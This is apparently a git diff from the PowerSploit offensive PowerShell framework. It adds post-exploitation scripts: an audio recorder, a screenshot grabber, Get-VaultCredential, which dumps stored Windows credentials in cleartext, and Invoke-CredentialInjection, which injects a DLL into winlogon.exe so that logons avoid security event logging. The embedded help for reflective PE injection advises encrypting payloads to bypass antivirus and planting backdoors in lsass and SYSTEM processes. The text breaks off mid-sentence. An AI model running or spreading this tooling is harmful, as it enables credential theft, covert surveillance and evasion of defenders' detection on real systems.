mciSendStringA + $mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32]) + if ($mciSendStringAddr -eq $null) + { + Throw 'Failed to aquire address to mciSendStringA' + } + $mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate) + + #Initialize the ability to resolve MCI Errors + $mciGetErrorStringAddr = $null + $mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA + $mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool]) + if ($mciGetErrorStringAddr -eq $null) + { + Throw 'Failed to aquire address to mciGetErrorString' + } + $mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate) + + #Get device count + $DeviceCount = $waveInGetNumDevs.Invoke() + + if ($DeviceCount -gt 0) + { + + #Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx + $errmsg = New-Object Text.StringBuilder 150 + + #Open an alias + $rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + #Call recording function + $rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + Start-Sleep -s $Length + + #save recorded audio to disk + $rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0) + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + #terminate alias + $rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0); + if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"} + + $OutFile = Get-ChildItem -path $path + Write-Output $OutFile + + } + else + { + Throw 'Failed to enumerate any recording devices' + } +} diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1 index c14c7237..89eceb04 100644 --- a/Exfiltration/Get-TimedScreenshot.ps1 +++ b/Exfiltration/Get-TimedScreenshot.ps1 @@ -1,4 +1,4 @@ -function Get-TimedScreenshot +function Get-TimedScreenshot { <# .SYNOPSIS @@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed #Define helper function that generates and saves screenshot Function Get-Screenshot { $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen - $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height + + $VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController' + + if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?^\d+) x (?\d+) x .*$') { + $Width = [Int] $Matches['ScreenWidth'] + $Height = [Int] $Matches['ScreenHeight'] + } else { + $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen + + $Width = $ScreenBounds.Width + $Height = $ScreenBounds.Height + } + + $Size = New-Object System.Drawing.Size($Width, $Height) + $Point = New-Object System.Drawing.Point(0, 0) + + $ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject) - $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size) + $DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size) $DrawingGraphics.Dispose() $ScreenshotObject.Save($FilePath) $ScreenshotObject.Dispose() diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1 new file mode 100644 index 00000000..e37f3fcf --- /dev/null +++ b/Exfiltration/Get-VaultCredential.ps1 @@ -0,0 +1,399 @@ +function Get-VaultCredential +{ +<# +.SYNOPSIS + +Displays Windows vault credential objects including cleartext web credentials. + +PowerSploit Function: Get-VaultCredential +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Get-VaultCredential enumerates and displays all credentials stored in the Windows +vault. Web credentials, specifically are displayed in cleartext. This script was +inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt + +.EXAMPLE + +Get-VaultCredential + +.NOTES + +Only web credentials can be displayed in cleartext. +#> + [CmdletBinding()] Param() + + $OSVersion = [Environment]::OSVersion.Version + + #region P/Invoke declarations for vaultcli.dll + $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False) + + $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32]) + $null = $EnumBuilder.DefineLiteral('Undefined', -1) + $null = $EnumBuilder.DefineLiteral('Boolean', 0) + $null = $EnumBuilder.DefineLiteral('Short', 1) + $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2) + $null = $EnumBuilder.DefineLiteral('Int', 3) + $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4) + $null = $EnumBuilder.DefineLiteral('Double', 5) + $null = $EnumBuilder.DefineLiteral('Guid', 6) + $null = $EnumBuilder.DefineLiteral('String', 7) + $null = $EnumBuilder.DefineLiteral('ByteArray', 8) + $null = $EnumBuilder.DefineLiteral('TimeStamp', 9) + $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10) + $null = $EnumBuilder.DefineLiteral('Attribute', 11) + $null = $EnumBuilder.DefineLiteral('Sid', 12) + $null = $EnumBuilder.DefineLiteral('Last', 13) + $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType() + + $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32]) + $null = $EnumBuilder.DefineLiteral('Illegal', 0) + $null = $EnumBuilder.DefineLiteral('Resource', 1) + $null = $EnumBuilder.DefineLiteral('Identity', 2) + $null = $EnumBuilder.DefineLiteral('Authenticator', 3) + $null = $EnumBuilder.DefineLiteral('Tag', 4) + $null = $EnumBuilder.DefineLiteral('PackageSid', 5) + $null = $EnumBuilder.DefineLiteral('AppStart', 100) + $null = $EnumBuilder.DefineLiteral('AppEnd', 10000) + $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType() + + $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) + $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') + $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, + @([Runtime.InteropServices.LayoutKind]::Explicit), + $CharsetField, + @([Runtime.InteropServices.CharSet]::Ansi)) + $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4) + $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public') + $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public') + if ($OSVersion -ge '6.2') + { + $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public') + } + $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public') + $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') + $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public') + $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public') + $VAULT_ITEM = $TypeBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes) + $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) + $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0) + $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8) + $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType() + + + $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Guid].MakeByRefType(), + [UInt32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Int32], + [Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Int32], + [Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + if ($OSVersion -ge '6.2') + { + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Guid].MakeByRefType(), + [IntPtr], + [IntPtr], + [IntPtr], + [IntPtr], + [Int32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + } + else + { + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', + 'vaultcli.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], + [Guid].MakeByRefType(), + [IntPtr], + [IntPtr], + [IntPtr], + [Int32], + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + } + + $Vaultcli = $TypeBuilder.CreateType() + #endregion + + # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct. + function local:Get-VaultElementValue + { + Param ( + [ValidateScript({$_ -ne [IntPtr]::Zero})] + [IntPtr] + $VaultElementPtr + ) + + $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT) + $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16) + + switch ($PartialElement.Type) + { + $VAULT_ELEMENT_TYPE::String { + $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) + [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr) + } + + $VAULT_ELEMENT_TYPE::Boolean { + [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Short { + [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::UnsignedShort { + [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Int { + [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::UnsignedInt { + [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) + } + + $VAULT_ELEMENT_TYPE::Double { + [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double]) + } + + $VAULT_ELEMENT_TYPE::Guid { + [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid]) + } + + $VAULT_ELEMENT_TYPE::Sid { + $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) + Write-Verbose "0x$($SidPtr.ToString('X8'))" + $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr) + $SidObject.Value + } + + # These elements are currently unimplemented. + # I have yet to see these used in practice. + $VAULT_ELEMENT_TYPE::ByteArray { $null } + $VAULT_ELEMENT_TYPE::TimeStamp { $null } + $VAULT_ELEMENT_TYPE::ProtectedArray { $null } + $VAULT_ELEMENT_TYPE::Attribute { $null } + $VAULT_ELEMENT_TYPE::Last { $null } + } + } + + $VaultCount = 0 + $VaultGuidPtr = [IntPtr]::Zero + $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr) + + if ($Result -ne 0) + { + throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))" + } + + $GuidAddress = $VaultGuidPtr + + $VaultSchema = @{ + ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note' + ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential' + ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector' + ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials' + ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials' + ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential' + ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential' + ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential' + ([Guid] '00000000-0000-0000-0000-000000000000') = $null + } + + if ($VaultCount) + { + foreach ($i in 1..$VaultCount) + { + $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid]) + $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])) + + $VaultHandle = [IntPtr]::Zero + + Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))" + + $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle) + + if ($Result -ne 0) + { + Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" + continue + } + + $VaultItemCount = 0 + $VaultItemPtr = [IntPtr]::Zero + + $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr) + + if ($Result -ne 0) + { + $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) + Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" + continue + } + + $StructAddress = $VaultItemPtr + + if ($VaultItemCount) + { + foreach ($j in 1..$VaultItemCount) + { + $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM) + $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM)) + + $PasswordVaultItem = [IntPtr]::Zero + + if ($OSVersion -ge '6.2') + { + $Result = $Vaultcli::VaultGetItem($VaultHandle, + [Ref] $CurrentItem.SchemaId, + $CurrentItem.pResourceElement, + $CurrentItem.pIdentityElement, + $CurrentItem.pPackageSid, + [IntPtr]::Zero, + 0, + [Ref] $PasswordVaultItem) + } + else + { + $Result = $Vaultcli::VaultGetItem($VaultHandle, + [Ref] $CurrentItem.SchemaId, + $CurrentItem.pResourceElement, + $CurrentItem.pIdentityElement, + [IntPtr]::Zero, + 0, + [Ref] $PasswordVaultItem) + } + + $PasswordItem = $null + + if ($Result -ne 0) + { + Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))" + continue + } + else + { + $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM) + } + + if ($VaultSchema.ContainsKey($VaultGuid)) + { + $VaultType = $VaultSchema[$VaultGuid] + } + else + { + $VaultType = $VaultGuid + } + + if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero) + { + $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement + } + else + { + $Credential = $null + } + + $PackageSid = $null + + if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero)) + { + $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid + } + + + $Properties = @{ + Vault = $VaultType + Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null } + Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null } + PackageSid = $PackageSid + Credential = $Credential + LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified) + } + + $VaultItem = New-Object PSObject -Property $Properties + $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM' + + $VaultItem + + $null = $Vaultcli::VaultFree($PasswordVaultItem) + } + } + + $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) + } + } +} diff --git a/ReverseEngineering/ProcessModuleTrace.format.ps1xml b/Exfiltration/Get-VaultCredential.ps1xml similarity index 54% rename from ReverseEngineering/ProcessModuleTrace.format.ps1xml rename to Exfiltration/Get-VaultCredential.ps1xml index fbad0b9c..33e909fa 100644 --- a/ReverseEngineering/ProcessModuleTrace.format.ps1xml +++ b/Exfiltration/Get-VaultCredential.ps1xml @@ -1,31 +1,32 @@ - + - ProcessModuleTraceView + VaultItemView - LOADED_MODULE + VAULTCLI.VAULTITEM - TimeCreated + Vault - ProcessId + Resource - FileName + Identity - - "0x$($_.ImageBase.ToString("X$([IntPtr]::Size * 2)"))" + Credential - ImageSize - 0x{0:X8} + PackageSid + + + LastModified @@ -33,4 +34,4 @@ - \ No newline at end of file + diff --git a/Exfiltration/Invoke-CredentialInjection.ps1 b/Exfiltration/Invoke-CredentialInjection.ps1 new file mode 100644 index 00000000..b0253282 --- /dev/null +++ b/Exfiltration/Invoke-CredentialInjection.ps1 @@ -0,0 +1,3417 @@ +function Invoke-CredentialInjection +{ + <# + .SYNOPSIS + + This script allows an attacker to create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + The script either creates a suspended winlogon.exe process running as SYSTEM, or uses an existing WinLogon process. Then, it injects a DLL in to + winlogon.exe which calls LsaLogonUser to create a logon from within winlogon.exe (which is where it is called from when a user logs in using RDP or + logs on locally). The injected DLL then impersonates the new logon token with its current thread so that it can be kidnapped using Invoke-TokenManipulation. + + PowerSploit Function: Invoke-CredentialInjection + Author: Joe Bialek, Twitter: @JosephBialek + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + This script allows an attacker to create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + The script either creates a suspended winlogon.exe process running as SYSTEM, or uses an existing WinLogon process. Then, it injects a DLL in to + winlogon.exe which calls LsaLogonUser to create a logon from within winlogon.exe (which is where it is called from when a user logs in using RDP or + logs on locally). The injected DLL then impersonates the new logon token with its current thread so that it can be kidnapped using Invoke-TokenManipulation. + + .PARAMETER NewWinLogon + + Switch. Specifies that this script should create a new WinLogon.exe process. This may be suspicious, as log correlation can show winlogon.exe was + created by PowerShell.exe. This CANNOT be used if the script is run from Session 0 (winlogon requires a desktop is available, and session 0 doesn't have one). + + .PARAMETER ExistingWinLogon + + Switch. Specifies that this script should use an existing WinLogon.exe process. This will leave behind code (a reflectively loaded DLL) in the process. + + .PARAMETER DomainName + + The domain name of the user account. + + .PARAMETER UserName + + The username to log in with. + + .PARAMETER Password + + The password of the user. + + .PARAMETER LogonType + + The logon type of the injected logon. Can be Interactive, RemoteInteractive, or NetworkCleartext + + .PARAMETER AuthPackage + + The authentication package to use. Default is Kerberos. Msv1_0 can be specified but should only be used for local accounts (which can't use kerberos). + + + .EXAMPLE + + Invoke-CredentialInjection -DomainName "demo" -UserName "administrator" -Password "Password1" -NewWinLogon + + Creates a new winlogon process (as the SYSTEM account) and creates a logon from within the process as demo\administrator. The logon will default to + RemoteInteractive (an RDP logon). Defaults to using the Kerberos provider. + + .EXAMPLE + + Invoke-CredentialInjection -DomainName "demo" -UserName "administrator" -Password "Password1" -ExistingWinLogon -LogonType NetworkCleartext + + Uses an existing winlogon process and creates a loogn from within it as demo\administrator. The logon will be type NetworkCleartext (used in basic auth + and PowerShell w/ CredSSP). Defaults to using the Kerberos provider. + + .EXAMPLE + + Invoke-CredentialInjection -DomainName "demo" -UserName "administrator" -Password "Password1" -NewWinLogon -AuthPackage Msv1_0 + + Creates a new winlogon process (as the SYSTEM account) and creates a logon from within the process as demo\administrator. The logon will default to + RemoteInteractive (and RDP logon). The logon will use the Msv1_0 auth package (NTLM). + + .NOTES + Normally when you do a RunAS logon, the EventID 4648 will show your current account, current process, and the account you are logging in with. + Incident responders use this to look for lateral movement. They can see a random user logging in with high privilege credentials, which stands out. + This script allows you to create the logon from within winlogon.exe, as SYSTEM. This allows you to create 4648 event logs which make it appear that the + user logged in using RDP or logged in locally, rather than the logon showing up as a suspicious RunAS. Then you can use token kidnapping, such as the + Invoke-TokenManipulation script to kidnap the security token. This token can then be used to authenticate over the network for pivoting and other post + exploitation. + + .LINK + + Blog: http://clymb3r.wordpress.com/ + Github repo: https://github.com/clymb3r/PowerShell + + #> + + [CmdletBinding()] + Param( + [Parameter(ParameterSetName = "NewWinLogon", Position = 0)] + [Switch] + $NewWinLogon, + + [Parameter(ParameterSetName = "ExistingWinLogon", Position = 0)] + [Switch] + $ExistingWinLogon, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $DomainName, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $UserName, + + [Parameter(Position=3, Mandatory=$true)] + [String] + $Password, + + [Parameter()] + [ValidateSet("Interactive","RemoteInteractive", "NetworkCleartext")] + [String] + $LogonType = "RemoteInteractive", + + [Parameter()] + [ValidateSet("Kerberos","Msv1_0")] + [String] + $AuthPackage = "Kerberos" + ) + + Set-StrictMode -Version 2 + + + + + function Invoke-ReflectivePEInjection + { + <# + .SYNOPSIS + + This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, + or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, + please lead the Notes section (GENERAL NOTES) for information on how to use them. + + + 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. + Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + + This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, + this will load and execute the DLL/EXE in to memory without writing any files to disk. + + + 2.) Reflectively load a DLL in to memory of a remote process. + As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + + This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output + from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the + remote process. + + + While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array + containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will + bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba + blog linked below (thanks to whitey). + + PowerSploit Function: Invoke-ReflectivePEInjection + Author: Joe Bialek, Twitter: @JosephBialek + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.1 + + .DESCRIPTION + + Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + + .PARAMETER PEPath + + The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. + + .PARAMETER PEUrl + + A URL containing a DLL/EXE to load and execute. + + .PARAMETER ComputerName + + Optional, an array of computernames to run the script on. + + .PARAMETER FuncReturnType + + Optional, the return type of the function being called in the DLL. Default: Void + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + + .PARAMETER ExeArgs + + Optional, arguments to pass to the executable being reflectively loaded. + + .PARAMETER ProcName + + Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + + .PARAMETER ProcId + + Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + + .EXAMPLE + + Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). + Note that the file name on the website can be any file extension. + Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString + + .EXAMPLE + + Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). + Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local + + .EXAMPLE + + Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print + the wchar_t* returned by WStringFunc() from all the computers. + Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + + .EXAMPLE + + Load DemoEXE and run it locally. + Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" + + .EXAMPLE + + Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. + Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local + + .NOTES + GENERAL NOTES: + The script has 3 basic sets of functionality: + 1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. + 2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. + 3.) Reflectively inject a DLL in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + + + + DLL LOADING NOTES: + + PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. + If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL + return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell + remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from + applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. + + For DLL Loading: + Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" + I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return + the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the + returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: + wchar_t* : FuncReturnType = WString + char* : FuncReturnType = String + void : Default, don't supply a FuncReturnType + + For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string + using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + + The function name expected in the DLL for the prewritten FuncReturnType's is as follows: + WString : WStringFunc + String : StringFunc + Void : VoidFunc + + These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would + be declared as follows: + extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + + If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify + this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + + Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + + .LINK + + Blog: http://clymb3r.wordpress.com/ + Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection + + Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + Blog on using this script as a backdoor with 